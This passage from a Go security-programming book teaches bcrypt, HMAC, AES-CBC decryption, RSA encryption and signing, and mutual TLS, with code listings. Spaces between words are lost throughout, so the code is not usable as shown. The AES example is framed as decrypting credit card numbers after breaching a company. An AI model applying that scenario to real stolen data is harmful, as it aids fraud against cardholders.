factorcontrolsthenumberofiterationsoftheinternalcrypto functions,increasingthetimeandeffortneededtocracka passwordhash.Althoughthepasswordcanstillbecracked usingadictionaryorbrute-forceattack,thecost(intime) increasessignificantly,discouragingcrackingactivitiesduring time-sensitivepost-exploitation.It’salsopossibletoincrease thecostovertimetocountertheadvancementofcomputing power.Thismakesitadaptivetofuturecrackingattacks. Listing11-2createsabcrypthashandthenvalidates whetheracleartextpasswordmatchesagivenbcrypthash. import( "log" "os" ❶"golang.org/x/crypto/bcrypt" ) ❷varstoredHash= "$2a$10$Zs3ZwsjV/nF.KuvSUE.5WuwtDrK6UVXcBpQrH84V8q3Opg1yNdWLu" funcmain(){ varpasswordstring iflen(os.Args)!=2{ log.Fatalln("Usage:bcryptpassword") } password=os.Args[1] ❸hash,err:=bcrypt.GenerateFromPassword( []byte(password), bcrypt.DefaultCost, ) iferr!=nil{ log.Fatalln(err) } log.Printf("hash=%s\n",hash) ❹err=bcrypt.CompareHashAndPassword([]byte(storedHash), []byte(password)) iferr!=nil{ log.Println("[!]Authenticationfailed") return } log.Println("[+]Authenticationsuccessful") } Listing11-2:Comparingbcrypthashes(/ch-11/bcrypt/main.go) Formostofthecodesamplesinthisbook,we’veomitted thepackageimports.We’veincludedtheminthisexampleto explicitlyshowthatyou’reusingthesupplementalGo package,golang.org/x/crypto/bcrypt❶,becauseGo’sbuilt-incrypto packagedoesn’tcontainthebcryptfunctionality.Youthen initializeavariable,storedHash❷,thatholdsaprecomputed, encodedbcrypthash.Thisisacontrivedexample;ratherthan wiringoursamplecodeuptoadatabasetogetavalue,we’ve optedtohardcodeavaluefordemonstrativepurposes.The variablecouldrepresentavaluethatyou’vefoundina databaserowthatstoresuserauthenticationinformationfora frontendwebapplication,forinstance. Next,you’llproduceabcrypt-encodedhashfroma cleartextpasswordvalue.Themainfunctionreadsapassword valueasacommandlineargumentandproceedstocalltwo separatebcryptfunctions.Thefirstfunction, bcrypt.GenerateFromPassword()❸,acceptstwoparameters:abyte slicerepresentingthecleartextpasswordandacostvalue.In thisexample,you’llpasstheconstantvariablebcrypt.DefaultCost tousethepackage’sdefaultcost,whichis10atthetimeof thiswriting.Thefunctionreturnstheencodedhashvalueand anyerrorsproduced. Thesecondbcryptfunctionyoucallis bcrypt.CompareHashAndPassword()❹,whichdoesthehash comparisonforyoubehindthescenes.Itacceptsabcrypt- encodedhashandacleartextpasswordasbyteslices.The functionparsestheencodedhashtodeterminethecostand salt.Itthenusesthesevalueswiththecleartextpasswordvalue togenerateabcrypthash.Ifthisresultinghashmatchesthe hashextractedfromtheencodedstoredHashvalue,youknowthe providedpasswordmatcheswhatwasusedtocreatethe storedHash. Thisisthesamemethodyouusedtoperformyour passwordcrackingagainstSHAandMD5—runagiven passwordthroughthehashingfunctionandcomparetheresult withthestoredhash.Here,ratherthanexplicitlycomparing theresultinghashesasyoudidforSHAandMD5,youcheck whetherbcrypt.CompareHashAndPassword()returnsanerror.Ifyou seeanerror,youknowthecomputedhashes,andthereforethe passwordsusedtocomputethem,donotmatch. Thefollowingaretwosampleprogramruns.Thefirst showstheoutputforanincorrectpassword: $gorunmain.gosomeWrongPassword 2020/08/2508:44:01hash= $2a$10$YSSanGl8ye/NC7GDyLBLUO5gE/ng51l9TnaB1zTChWq5g9i09v0AC 2020/08/2508:44:01[!]Authenticationfailed Thesecondshowstheoutputforthecorrectpassword: $gorunmain.gosomeC0mpl3xP@ssw0rd 2020/08/2508:39:29hash= $2a$10$XfeUk.wKeEePNAfjQ1juXe8RaM/9EC1XZmqaJ8MoJB29hZRyuNxz. 2020/08/2508:39:29[+]Authenticationsuccessful Thoseofyouwithakeeneyefordetailmaynoticethatthe hashvaluedisplayedforyoursuccessfulauthenticationdoes notmatchthevalueyouhardcodedforyourstoredHashvariable. Recall,ifyouwill,thatyourcodeiscallingtwoseparate functions.TheGenerateFromPassword()functionproducesthe encodedhashbyusingarandomsaltvalue.Givendifferent salts,thesamepasswordwillproducedifferentresulting hashes.Hencethedifference.TheCompareHashAndPassword() functionperformsthehashingalgorithmbyusingthesamesalt andcostasthestoredhash,sotheresultinghashisidenticalto theoneinthestoredHashvariable. AUTHENTICATINGMESSAGES Let’snowturnourfocustomessageauthentication.When exchangingmessages,youneedtovalidateboththeintegrity ofdataandtheauthenticityoftheremoteservicetomakesure thatthedataisauthenticandhasn’tbeentamperedwith.Was themessagealteredduringtransmissionbyanunauthorized source?Wasthemessagesentbyanauthorizedsenderorwas itforgedbyanotherentity? YoucanaddressthesequestionsbyusingGo’scrypto/hmac package,whichimplementstheKeyed-HashMessage AuthenticationCode(HMAC)standard.HMACisa cryptographicalgorithmthatallowsustocheckformessage tamperingandverifytheidentityofthesource.Itusesa hashingfunctionandconsumesasharedsecretkey,which onlythepartiesauthorizedtoproducevalidmessagesordata shouldpossess.Anattackerwhodoesnotpossessthisshared secretcannotreasonablyforgeavalidHMACvalue. ImplementingHMACinsomeprogramminglanguagescan bealittletricky.Forexample,somelanguagesforceyouto manuallycomparethereceivedandcalculatedhashvalues bytebybyte.Developersmayinadvertentlyintroducetiming discrepanciesinthisprocessiftheirbyte-by-bytecomparison isabortedprematurely;anattackercandeducetheexpected HMACbymeasuringmessage-processingtimes.Additionally, developerswilloccasionallythinkHMACs(whichconsumea messageandkey)arethesameasahashofasecretkey prependedtoamessage.However,theinternalfunctionalityof HMACsdiffersfromthatofapurehashingfunction.Bynot explicitlyusinganHMAC,thedeveloperisexposingthe applicationtolength-extensionattacks,inwhichanattacker forgesamessageandvalidMAC. LuckilyforusGophers,thecrypto/hmacpackagemakesit fairlyeasytoimplementHMACfunctionalityinasecure fashion.Let’slookatanimplementation.Notethatthe followingprogramismuchsimplerthanatypicalusecase, whichwouldlikelyinvolvesometypeofnetwork communicationsandmessaging.Inmostcases,you’d calculatetheHMAConHTTPrequestparametersorsome othermessagetransmittedoveranetwork.Intheexample showninListing11-3,we’reomittingtheclient-server communicationsandfocusingsolelyontheHMAC functionality. varkey=[]byte("somerandomkey")❶ funccheckMAC(message,recvMAC[]byte)bool{❷ mac:=hmac.New(sha256.New,key)❸ mac.Write(message) calcMAC:=mac.Sum(nil) returnhmac.Equal(calcMAC,recvMAC)❹ } funcmain(){ //Inrealimplementations,we'dreadthemessageandHMACvaluefrom networksource message:=[]byte("Theredeaglefliesat10:00")❺ mac,_:= hex.DecodeString("69d2c7b6fbbfcaeb72a3172f4662601d1f16acfb46339639ac8c10c8da64631d") ❻ ifcheckMAC(message,mac){❼ fmt.Println("EQUAL") }else{ fmt.Println("NOTEQUAL") } } Listing11-3:UsingHMACformessageauthentication(/ch-11/hmac/main.go) Theprogrambeginsbydefiningthekeyyou’lluseforyour HMACcryptographicfunction❶.You’rehardcodingthe valuehere,butinarealimplementation,thiskeywouldbe adequatelyprotectedandrandom.Itwouldalsobeshared betweentheendpoints,meaningboththemessagesenderand receiverareusingthissamekeyvalue.Sinceyouaren’t implementingfullclient-serverfunctionalityhere,you’lluse thisvariableasifitwereadequatelyshared. Next,youdefineafunction,checkMAC()❷,thatacceptsa messageandthereceivedHMACasparameters.Themessage receiverwouldcallthisfunctiontocheckwhethertheMAC valuetheyreceivedmatchesthevaluetheycalculatedlocally. First,youcallhmac.New()❸,passingtoitsha256.New,whichisa functionthatreturnsahash.Hashinstance,andthesharedsecret key.Inthiscase,thehmac.New()functioninitializesyourHMAC byusingtheSHA-256algorithmandyoursecretkey,and assignstheresulttoavariablenamedmac.Youthenusethis variabletocalculatetheHMAChashvalue,asyoudidinthe earlierhashingexamples.Here,youcallmac.Write(message)and mac.Sum(nil),respectively.Theresultisyourlocallycalculated HMAC,storedinavariablenamedcalcMAC. Thenextstepistoevaluatewhetheryourlocallycalculated HMACvalueisequaltotheHMACvalueyoureceived.Todo thisinasecuremanner,youcallhmac.Equal(calcMAC,recvMAC)❹. Alotofdeveloperswouldbeinclinedtocomparethebyte slicesbycallingbytes.Compare(calcMAC,recvMAC).Theproblemis, bytes.Compare()performsalexicographicalcomparison,walking andcomparingeachelementofthegivenslicesuntilitfindsa differenceorreachestheendofaslice.Thetimeittakesto completethiscomparisonwillvarybasedonwhether bytes.Compare()encountersadifferenceonthefirstelement,the last,orsomewhereinbetween.Anattackercouldmeasurethis variationintimetodeterminetheexpectedHMACvalueand forgearequestthat’sprocessedlegitimately.Thehmac.Equal() functionsolvesthisproblembycomparingtheslicesinaway thatproducesnearlyconstantmeasurabletimes.Itdoesn’t matterwherethefunctionfindsadifference,becausethe processingtimeswillvaryinsignificantly,producingno obviousorperceptiblepattern. Themain()functionsimulatestheprocessofreceivinga messagefromaclient.Ifyouwerereallyreceivingamessage, you’dhavetoreadandparsetheHMACandmessagevalues fromthetransmission.Sincethisisjustasimulation,you insteadhardcodethereceivedmessage❺andthereceived HMAC❻,decodingtheHMAChexstringsoit’srepresented asa[]byte.YouuseanifstatementtocallyourcheckMAC() function❼,passingityourreceivedmessageandHMAC.As detailedpreviously,yourcheckMAC()functioncomputesan HMACbyusingthereceivedmessageandthesharedsecret keyandreturnsaboolvalueforwhetherthereceivedHMAC andcalculatedHMACmatch. AlthoughtheHMACdoesprovidebothauthenticityand integrityassurance,itdoesn’tensureconfidentiality.Youcan’t knowforsurethatthemessageitselfwasn’tseenby unauthorizedresources.Thenextsectionaddressesthis concernbyexploringandimplementingvarioustypesof encryption. ENCRYPTINGDATA Encryptionislikelythemostwell-knowncryptographic concept.Afterall,privacyanddataprotectionhavegarnered significantnewscoverageduetohigh-profiledatabreaches, oftenresultingfromorganizationsstoringuserpasswordsand othersensitivedatainunencryptedformats.Evenwithoutthe mediaattention,encryptionshouldsparktheinterestofblack hatsanddevelopersalike.Afterall,understandingthebasic processandimplementationcanbethedifferencebetweena lucrativedatabreachandafrustratingdisruptiontoanattack killchain.Thefollowingsectionpresentsthevaryingformsof encryption,includingusefulapplicationsandusecasesfor each. Symmetric-KeyEncryption Yourjourneyintoencryptionwillstartwithwhatisarguably itsmoststraightforwardform—symmetric-keyencryption.In thisform,boththeencryptionanddecryptionfunctionsusethe samesecretkey.Gomakessymmetriccryptographypretty straightforward,becauseitsupportsmostcommonalgorithms initsdefaultorextendedpackages. Forthesakeofbrevity,we’lllimitourdiscussionof symmetric-keyencryptiontoasingle,practicalexample.Let’s imagineyou’vebreachedanorganization.You’veperformed thenecessaryprivilegeescalation,lateralmovement,and networkrecontogainaccesstoane-commercewebserver andthebackenddatabase.Thedatabasecontainsfinancial transactions;however,thecreditcardnumberusedinthose transactionsisobviouslyencrypted.Youinspectthe applicationsourcecodeonthewebserveranddeterminethat theorganizationisusingtheAdvancedEncryptionStandard (AES)encryptionalgorithm.AESsupportsmultipleoperating modes,eachwithslightlydifferentconsiderationsand implementationdetails.Themodesarenotinterchangeable; themodeusedfordecryptionmustbeidenticaltothatusedfor encryption. Inthisscenario,let’ssayyou’vedeterminedthatthe applicationisusingAESinCipherBlockChaining(CBC) mode.So,let’swriteafunctionthatdecryptsthesecreditcards (Listing11-4).Assumethatthesymmetrickeywashardcoded intheapplicationorsetstaticallyinaconfigurationfile.As yougothroughthisexample,keepinmindthatyou’llneedto tweakthisimplementationforotheralgorithmsorciphers,but it’sagoodstartingplace. funcunpad(buf[]byte)[]byte{❶ //Assumevalidlengthandpadding.Shouldaddchecks padding:=int(buf[len(buf)-1]) returnbuf[:len(buf)-padding] } funcdecrypt(ciphertext,key[]byte)([]byte,error){❷ var( plaintext[]byte iv[]byte blockcipher.Block modecipher.BlockMode errerror ) iflen(ciphertext)<aes.BlockSize{❸ returnnil,errors.New("Invalidciphertextlength:tooshort") } iflen(ciphertext)%aes.BlockSize!=0{❹ returnnil,errors.New("Invalidciphertextlength:notamultipleofblocksize") } iv=ciphertext[:aes.BlockSize]❺ ciphertext=ciphertext[aes.BlockSize:] ifblock,err=aes.NewCipher(key);err!=nil{❻ returnnil,err } mode=cipher.NewCBCDecrypter(block,iv)❼ plaintext=make([]byte,len(ciphertext)) mode.CryptBlocks(plaintext,ciphertext)❽ plaintext=unpad(plaintext)❾ returnplaintext,nil } Listing11-4:AESpaddinganddecryption(/ch-11/aes/main.go) Thecodedefinestwofunctions:unpad()anddecrypt().The unpad()function❶isautilityfunctionscrapedtogetherto handletheremovalofpaddingdataafterdecryption.Thisisa necessarystep,butbeyondthescopeofthisdiscussion.Do someresearchonPublicKeyCryptographyStandards(PKCS) #7paddingformoreinformation.It’sarelevanttopicforAES, asit’susedtoensurethatourdatahasproperblockalignment. Forthisexample,justknowthatyou’llneedthefunctionlater tocleanupyourdata.Thefunctionitselfassumessomefacts thatyou’dwanttoexplicitlyvalidateinareal-worldscenario. Specifically,you’dwanttoconfirmthatthevalueofthe paddingbytesisvalid,thatthesliceoffsetsarevalid,andthat theresultisofappropriatelength. Themostinterestinglogicexistswithinthedecrypt()function ❷,whichtakestwobyteslices:theciphertextyouneedto decryptandthesymmetrickeyyou’llusetodoit.The functionperformssomevalidationtoconfirmthatthe ciphertextisatleastaslongasyourblocksize❸.Thisisa necessarystep,becauseCBCmodeencryptionusesan initializationvector(IV)forrandomness.ThisIV,likeasalt valueforpasswordhashing,doesn’tneedtoremainsecret.The IV,whichisthesamelengthasasingleAESblock,is prependedontoyourciphertextduringencryption.Ifthe ciphertextlengthislessthantheexpectedblocksize,you knowthatyoueitherhaveanissuewiththeciphertextorare missingtheIV.Youalsocheckwhethertheciphertextlength isamultipleoftheAESblocksize❹.Ifit’snot,decryption willfailspectacularly,becauseCBCmodeexpectsthe ciphertextlengthtobeamultipleoftheblocksize. Onceyou’vecompletedyourvalidationchecks,youcan proceedtodecrypttheciphertext.Asmentionedpreviously, theIVisprependedtotheciphertext,sothefirstthingyoudo isextracttheIVfromtheciphertext❺.Youusethe aes.BlockSizeconstanttoretrievetheIVandthenredefineyour ciphertextvariabletotheremainderofyourciphertextvia ciphertext=[aes.BlockSize:].Younowhaveyourencrypteddata separatefromyourIV. Next,youcallaes.NewCipher(),passingityoursymmetric-key value❻.ThisinitializesyourAESblockmodecipher, assigningittoavariablenamedblock.Youtheninstructyour AESciphertooperateinCBCmodebycalling cipher.NewCBCDecryptor(block,iv)❼.Youassigntheresulttoa variablenamedmode.(Thecrypto/cipherpackagecontains additionalinitializationfunctionsforotherAESmodes,but you’reusingonlyCBCdecryptionhere.)Youthenissueacall tomode.CryptBlocks(plaintext,ciphertext)todecryptthecontentsof ciphertext❽andstoretheresultintheplaintextbyteslice.Lastly, you❾removeyourPKCS#7paddingbycallingyourunpad() utilityfunction.Youreturntheresult.Ifallwentwell,this shouldbetheplaintextvalueofthecreditcardnumber. Asamplerunoftheprogramproducestheexpectedresult: $gorunmain.go key= aca2d6b47cb5c04beafc3e483b296b20d07c32db16029a52808fde98786646c8 ciphertext= 7ff4a8272d6b60f1e7cfc5d8f5bcd047395e31e5fc83d062716082010f637c8f21150eabace62 --snip-- plaintext=4321123456789090 Noticethatyoudidn’tdefineamain()functioninthissample code.Whynot?Well,decryptingdatainunfamiliar environmentshasavarietyofpotentialnuancesandvariations. Aretheciphertextandkeyvaluesencodedorrawbinary?If they’reencoded,aretheyahexstringorBase64?Isthedata locallyaccessible,ordoyouneedtoextractitfromadata sourceorinteractwithahardwaresecuritymodule,for example?Thepointis,decryptionisrarelyacopy-and-paste endeavorandoftenrequiressomelevelofunderstandingof algorithms,modes,databaseinteraction,anddataencoding. Forthisreason,we’vechosentoleadyoutotheanswerwith theexpectationthatyou’llinevitablyhavetofigureitout whenthetimeisright. Knowingjustalittlebitaboutsymmetric-keyencryption canmakeyourpenetrationstestsmuchmoresuccessful.For example,inourexperiencepilferingclientsource-code repositories,we’vefoundthatpeopleoftenusetheAES encryptionalgorithm,eitherinCBCorElectronicCodebook (ECB)mode.ECBmodehassomeinherentweaknessesand CBCisn’tanybetter,ifimplementedincorrectly.Cryptocan behardtounderstand,sooftendevelopersassumethatall cryptociphersandmodesareequallyeffectiveandare ignorantoftheirsubtleties.Althoughwedon’tconsider ourselvescryptographers,weknowjustenoughtoimplement cryptosecurelyinGo—andtoexploitotherpeople’sdeficient implementations. Althoughsymmetric-keyencryptionisfasterthan asymmetriccryptography,itsuffersfrominherentkey- managementchallenges.Afterall,touseit,youmust distributethesamekeytoanyandallsystemsorapplications thatperformtheencryptionordecryptionfunctionsonthe data.Youmustdistributethekeysecurely,oftenfollowing strictprocessesandauditingrequirements.Also,relyingsolely onsymmetric-keycryptographypreventsarbitraryclients from,forexample,establishingencryptedcommunications withothernodes.Thereisn’tagoodwaytonegotiatethe secretkey,norarethereauthenticationorintegrityassurances formanycommonalgorithmsandmodes. Thatmeans anyone,whetherauthorizedormalicious,whoobtainsthe secretkeycanproceedtouseit. Thisiswhereasymmetriccryptographycanbeofuse. AsymmetricCryptography Manyoftheproblemsassociatedwithsymmetric-key encryptionaresolvedbyasymmetric(orpublic-key) cryptography,whichusestwoseparatebutmathematically relatedkeys.Oneisavailabletothepublicandtheotheris keptprivate.Dataencryptedbytheprivatekeycanbe decryptedonlybythepublickey,anddataencryptedbythe publickeycanbedecryptedonlybytheprivatekey.Ifthe privatekeyisprotectedproperlyandkept,well,private,then dataencryptedwiththepublickeyremainsconfidential,since youneedthecloselyguardedprivatekeytodecryptit.Not onlythat,butyoucouldusetheprivatekeytoauthenticatea user.Theusercouldusetheprivatekeytosignmessages,for example,whichthepubliccoulddecryptusingthepublickey. So,youmightbeasking,“What’sthecatch?Ifpublic-key cryptographyprovidesalltheseassurances,whydoweeven havesymmetric-keycryptography?”Goodquestion,you!The problemwithpublic-keyencryptionisitsspeed;it’salot slowerthanitssymmetriccounterpart.Togetthebestofboth worlds(andavoidtheworst),you’lloftenfindorganizations usingahybridapproach:they’lluseasymmetriccryptoforthe initialcommunicationsnegotiation,establishinganencrypted 1 channelthroughwhichtheycreateandexchangeasymmetric key(oftencalledasessionkey).Becausethesessionkeyis fairlysmall,usingpublic-keycryptoforthisprocessrequires littleoverhead.Boththeclientandserverthenhaveacopyof thesessionkey,whichtheyusetomakefuture communicationsfaster. Let’slookatacoupleofcommonusecasesforpublic-key crypto.Specifically,we’lllookatencryption,signature validation,andmutualauthentication. EncryptionandSignatureValidation Forthisfirstexample,you’llusepublic-keycryptotoencrypt anddecryptamessage.You’llalsocreatethelogictosigna messageandvalidatethatsignature.Forsimplicity,you’ll includeallofthislogicinasinglemain()function.Thisis meanttoshowyouthecorefunctionalityandlogicsothatyou canimplementit.Inareal-worldscenario,theprocessisa littlemorecomplex,sinceyou’relikelytohavetworemote nodescommunicatingwitheachother.Thesenodeswould havetoexchangepublickeys.Fortunately,thisexchange processdoesn’trequirethesamesecurityassurancesas exchangingsymmetrickeys.Recallthatanydataencrypted withthepublickeycanbedecryptedonlybytherelated privatekey.So,evenifyouperformaman-in-the-middle attacktointerceptthepublic-keyexchangeandfuture communications,youwon’tbeabletodecryptanyofthedata encryptedbythesamepublickey.Onlytheprivatekeycan decryptit. Let’stakealookattheimplementationshowninListing 11-5.We’llelaborateonthelogicandcryptographic functionalityaswereviewtheexample. funcmain(){ var( errerror privateKey*rsa.PrivateKey publicKey*rsa.PublicKey message,plaintext,ciphertext,signature,label[]byte ) ifprivateKey,err=rsa.GenerateKey(rand.Reader,2048)❶;err!=nil{ log.Fatalln(err) } publicKey=&privateKey.PublicKey❷ label=[]byte("") message=[]byte("Somesupersecretmessage,maybeasessionkeyeven") ciphertext,err=rsa.EncryptOAEP(sha256.New(),rand.Reader,publicKey, message,label)❸ iferr!=nil{ log.Fatalln(err) } fmt.Printf("Ciphertext:%x\n",ciphertext) plaintext,err=rsa.DecryptOAEP(sha256.New(),rand.Reader,privateKey, ciphertext,label)❹ iferr!=nil{ log.Fatalln(err) } fmt.Printf("Plaintext:%s\n",plaintext) h:=sha256.New() h.Write(message) signature,err=rsa.SignPSS(rand.Reader,privateKey,crypto.SHA256, h.Sum(nil),nil)❺ iferr!=nil{ log.Fatalln(err) } fmt.Printf("Signature:%x\n",signature) err=rsa.VerifyPSS(publicKey,crypto.SHA256,h.Sum(nil),signature,nil)❻ iferr!=nil{ log.Fatalln(err) } fmt.Println("Signatureverified") } Listing11-5:Asymmetric,orpublic-key,encryption(/ch-11/public-key/main.go/) Theprogramdemonstratestwoseparatebutrelatedpublic- keycryptofunctions:encryption/decryptionandmessage signing.Youfirstgenerateapublic/privatekeypairbycalling thersa.GenerateKey()function❶.Yousupplyarandomreader andakeylengthasinputparameterstothefunction.Assuming therandomreaderandkeylengthsareadequatetogeneratea key,theresultisan*rsa.PrivateKeyinstancethatcontainsafield whosevalueisthepublickey.Younowhaveaworkingkey pair.Youassignthepublickeytoitsownvariableforthesake ofconvenience❷. Thisprogramgeneratesthiskeypaireverytimeit’srun.In mostcircumstances,suchasSSHcommunications,you’ll generatethekeypairasingletime,andthensaveandstorethe keystodisk.Theprivatekeywillbekeptsecure,andthe publickeywillbedistributedtoendpoints.We’reskipping keydistribution,protection,andmanagementhere,and focusingonlyonthecryptographicfunctions. Nowthatyou’vecreatedthekeys,youcanstartusingthem forencryption.Youdosobycallingthefunction rsa.EncryptOAEP()❸,whichacceptsahashingfunction,areader touseforpaddingandrandomness,yourpublickey,the messageyouwishtoencrypt,andanoptionallabel.This functionreturnsanerror(iftheinputscausethealgorithmto fail)andourciphertext.Youcanthenpassthesamehashing function,areader,yourprivatekey,yourciphertext,anda labelintothefunctionrsa.DecryptOAEP()❹.Thefunction decryptstheciphertextbyusingyourprivatekeyandreturns thecleartextresult. Noticethatyou’reencryptingthemessagewiththepublic key.Thisensuresthatonlytheholderoftheprivatekeywill havetheabilitytodecryptthedata.Nextyoucreateadigital signaturebycallingrsa.SignPSS()❺.Youpasstoit,again,a randomreader,yourprivatekey,thehashingfunctionyou’re using,thehashvalueofthemessage,andanilvalue representingadditionaloptions.Thefunctionreturnsany errorsandtheresultingsignaturevalue.Muchlikehuman DNAorfingerprints,thissignatureuniquelyidentifiesthe identityofthesigner(thatis,theprivatekey).Anybody holdingthepublickeycanvalidatethesignaturetonotonly determinetheauthenticityofthesignaturebutalsovalidatethe integrityofthemessage.Tovalidatethesignature,youpass thepublickey,hashfunction,hashvalue,signature,and additionaloptionstorsa.VerifyPSS()❻.Noticethatinthiscase you’repassingthepublickey,nottheprivatekey,intothis function.Endpointswishingtovalidatethesignaturewon’t haveaccesstotheprivatekey,norwillvalidationsucceedif youinputthewrongkeyvalue.Thersa.VerifyPSS()function returnsnilwhenthesignatureisvalidandanerrorwhenit’s invalid. Hereisasamplerunoftheprogram.Itbehavesas expected,encryptingthemessagebyusingapublickey, decryptingitbyusingaprivatekey,andvalidatingthe signature: $gorunmain.go Ciphertext:a9da77a0610bc2e5329bc324361b480ba042e09ef58e4d8eb106c8fc0b5 --snip-- Plaintext:Somesupersecretmessage,maybeasessionkeyeven Signature:68941bf95bbc12edc12be369f3fd0463497a1220d9a6ab741cf9223c6793 --snip-- Signatureverified Nextup,let’slookatanotherapplicationofpublic-key cryptography:mutualauthentication. MutualAuthentication Mutualauthenticationistheprocessbywhichaclientand serverauthenticateeachother.Theydothiswithpublic-key cryptography;boththeclientandservergenerate public/privatekeypairs,exchangepublickeys,andusethe publickeystovalidatetheauthenticityandidentityofthe otherendpoint.Toaccomplishthisfeat,boththeclientand servermustdosomelegworktosetuptheauthorization, explicitlydefiningthepublickeyvaluewithwhichtheyintend tovalidatetheother.Thedownsidetothisprocessisthe administrativeoverheadofhavingtocreateuniquekeypairs foreverysinglenodeandensuringthattheserverandthe clientnodeshavetheappropriatedatatoproceedproperly. Tobegin,you’llknockouttheadministrativetasksof creatingkeypairs.You’llstorethepublickeysasself-signed, PEM-encodedcertificates.Let’susetheopensslutilitytocreate thesefiles.Onyourserver,you’llcreatetheserver’sprivate keyandcertificatebyenteringthefollowing: $opensslreq-nodes-x509-newkeyrsa:4096-keyoutserverKey.pem-out serverCrt.pem-days365 Theopensslcommandwillpromptyouforvariousinputs,to whichyoucansupplyarbitraryvaluesforthisexample.The commandcreatestwofiles:serverKey.pemandserverCrt.pem. ThefileserverKey.pemcontainsyourprivatekey,andyou shouldprotectit.TheserverCrt.pemfilecontainstheserver’s publickey,whichyou’lldistributetoeachofyourconnecting clients. Foreveryconnectingclient,you’llrunacommandsimilar totheprecedingone: $opensslreq-nodes-x509-newkeyrsa:4096-keyoutclientKey.pem-out clientCrt.pem-days365 Thiscommandalsogeneratestwofiles:clientKey.pemand clientCrt.pem.Muchaswiththeserveroutput,youshould protecttheclient’sprivatekey.TheclientCrt.pemcertificate filewillbetransferredtoyourserverandloadedbyyour program.Thiswillallowyoutoconfigureandidentifythe clientasanauthorizedendpoint.You’llhavetocreate, transfer,andconfigureacertificateforeachadditionalclient sothattheservercanidentifyandexplicitlyauthorizethem. InListing11-6,yousetupanHTTPSserverthatrequiresa clienttoprovidealegitimate,authorizedcertificate. funchelloHandler(whttp.ResponseWriter,r*http.Request){❶ fmt.Printf("Hello:%s\n",r.TLS.PeerCertificates[0].Subject.CommonName)❷ fmt.Fprint(w,"Authenticationsuccessful") } funcmain(){ var( errerror clientCert[]byte pool*x509.CertPool tlsConf*tls.Config server*http.Server ) http.HandleFunc("/hello",helloHandler) ifclientCert,err=ioutil.ReadFile("../client/clientCrt.pem")❸;err!=nil{ log.Fatalln(err) } pool=x509.NewCertPool() pool.AppendCertsFromPEM(clientCert)❹ tlsConf=&tls.Config{❺ ClientCAs:pool, ClientAuth:tls.RequireAndVerifyClientCert, } tlsConf.BuildNameToCertificate()❻ server=&http.Server{ Addr:":9443", TLSConfig:tlsConf,❼ } log.Fatalln(server.ListenAndServeTLS("serverCrt.pem","serverKey.pem")❽) } Listing11-6:Settingupamutualauthenticationserver(/ch-11/mutual- auth/cmd/server/main.go) Outsidethemain()function,theprogramdefinesa helloHandler()function❶.AswediscussedwaybackinChapters 3and4,thehandlerfunctionacceptsanhttp.ResponseWriter instanceandthehttp.Requestitself.Thishandlerisprettyboring. Itlogsthecommonnameoftheclientcertificatereceived❷. Thecommonnameisaccessedbyinspectingthehttp.Request’s TLSfieldanddrillingdownintothecertificatePeerCertificates data.Thehandlerfunctionalsosendstheclientamessage indicatingthatauthenticationwassuccessful. Buthowdoyoudefinewhichclientsareauthorized,and howdoyouauthenticatethem?Theprocessisfairlypainless. Youfirstreadtheclient’scertificatefromthePEMfilethe clientcreatedpreviously❸.Becauseit’spossibletohave morethanoneauthorizedclientcertificate,youcreatea certificatepoolandcallpool.AppendCertsFromPEM(clientCert)toadd theclientcertificatetoyourpool❹.Youperformthisstepfor eachadditionalclientyouwishtoauthenticate. Next,youcreateyourTLSconfiguration.Youexplicitlyset theClientCAsfieldtoyourpoolandconfigureClientAuthto tls.RequireAndVerifyClientCert❺.Thisconfigurationdefinesyour poolofauthorizedclientsandrequiresclientstoproperly identifythemselvesbeforethey’llbeallowedtoproceed.You issueacalltotlsConf.BuildNameToCertificate()sothattheclient’s commonandsubjectalternatenames—thedomainnamesfor whichthecertificatewasgenerated—willproperlymapto theirgivencertificate❻.YoudefineyourHTTPserver, explicitlysettingyourcustomconfiguration❼,andstartthe serverbycallingserver.ListenAndServeTLS(),passingtoittheserver certificateandprivate-keyfilesyoucreatedpreviously❽. Notethatyoudon’tusetheclient’sprivate-keyfileanywhere intheservercode.Aswe’vesaidbefore,theprivatekey remainsprivate;yourserverwillbeabletoidentifyand authorizeclientsbyusingonlytheclient’spublickey.Thisis thebrillianceofpublic-keycrypto. Youcanvalidateyourserverbyusingcurl.Ifyougenerate andsupplyabogus,unauthorizedclientcertificateandkey, you’llbegreetedwithaverbosemessagetellingyouso: $curl-ik-XGET--certbadCrt.pem--keybadKey.pem\ https://server.blackhat-go.local:9443/hello curl:(35)gnutls_handshake()failed:Certificateisbad You’llalsogetamoreverbosemessageontheserver, somethinglikethis: http:TLShandshakeerrorfrom127.0.0.1:61682:remoteerror:tls:unknown certificateauthority Ontheflipside,ifyousupplythevalidcertificateandthe keythatmatchesthecertificateconfiguredintheserverpool, you’llenjoyasmallmomentofgloryasitsuccessfully authenticates: $curl-ik-XGET--certclientCrt.pem--keyclientKey.pem\ https://server.blackhat-go.local:9443/hello HTTP/1.1200OK Date:Fri,09Oct202016:55:52GMT Content-Length:25 Content-Type:text/plain;charset=utf-8 Authenticationsuccessful Thismessagetellsyoutheserverworksasexpected. Now,let’shavealookataclient(Listing11-7).Youcan runtheclientoneitherthesamesystemastheserverora differentone.Ifit’sonadifferentsystem,you’llneedto transferclientCrt.pemtotheserverandserverCrt.pemtothe client. funcmain(){ var( errerror certtls.Certificate serverCert,body[]byte pool*x509.CertPool tlsConf*tls.Config transport*http.Transport client*http.Client resp*http.Response ) ifcert,err=tls.LoadX509KeyPair("clientCrt.pem","clientKey.pem");err!=nil {❶ log.Fatalln(err) } ifserverCert,err=ioutil.ReadFile("../server/serverCrt.pem");err!=nil{❷ log.Fatalln(err) } pool=x509.NewCertPool() pool.AppendCertsFromPEM(serverCert)❸ tlsConf=&tls.Config{❹ Certificates:[]tls.Certificate{cert}, RootCAs:pool, } tlsConf.BuildNameToCertificate()❺ transport=&http.Transport{❻ TLSClientConfig:tlsConf, } client=&http.Client{❼ Transport:transport, } ifresp,err=client.Get("https://server.blackhat-go.local:9443/hello");err!=nil{ ❽ log.Fatalln(err) } ifbody,err=ioutil.ReadAll(resp.Body);err!=nil{❾ log.Fatalln(err) } deferresp.Body.Close() fmt.Printf("Success:%s\n",body) } Listing11-7:Themutualauthenticationclient(/ch-11/mutual- auth/cmd/client/main.go) Alotofthecertificatepreparationandconfigurationwill looksimilartowhatyoudidintheservercode:creatingapool ofcertificatesandpreparingsubjectandcommonnames. Sinceyouwon’tbeusingtheclientcertificateandkeyasa server,youinsteadcalltls.LoadX509KeyPair("clientCrt.pem", 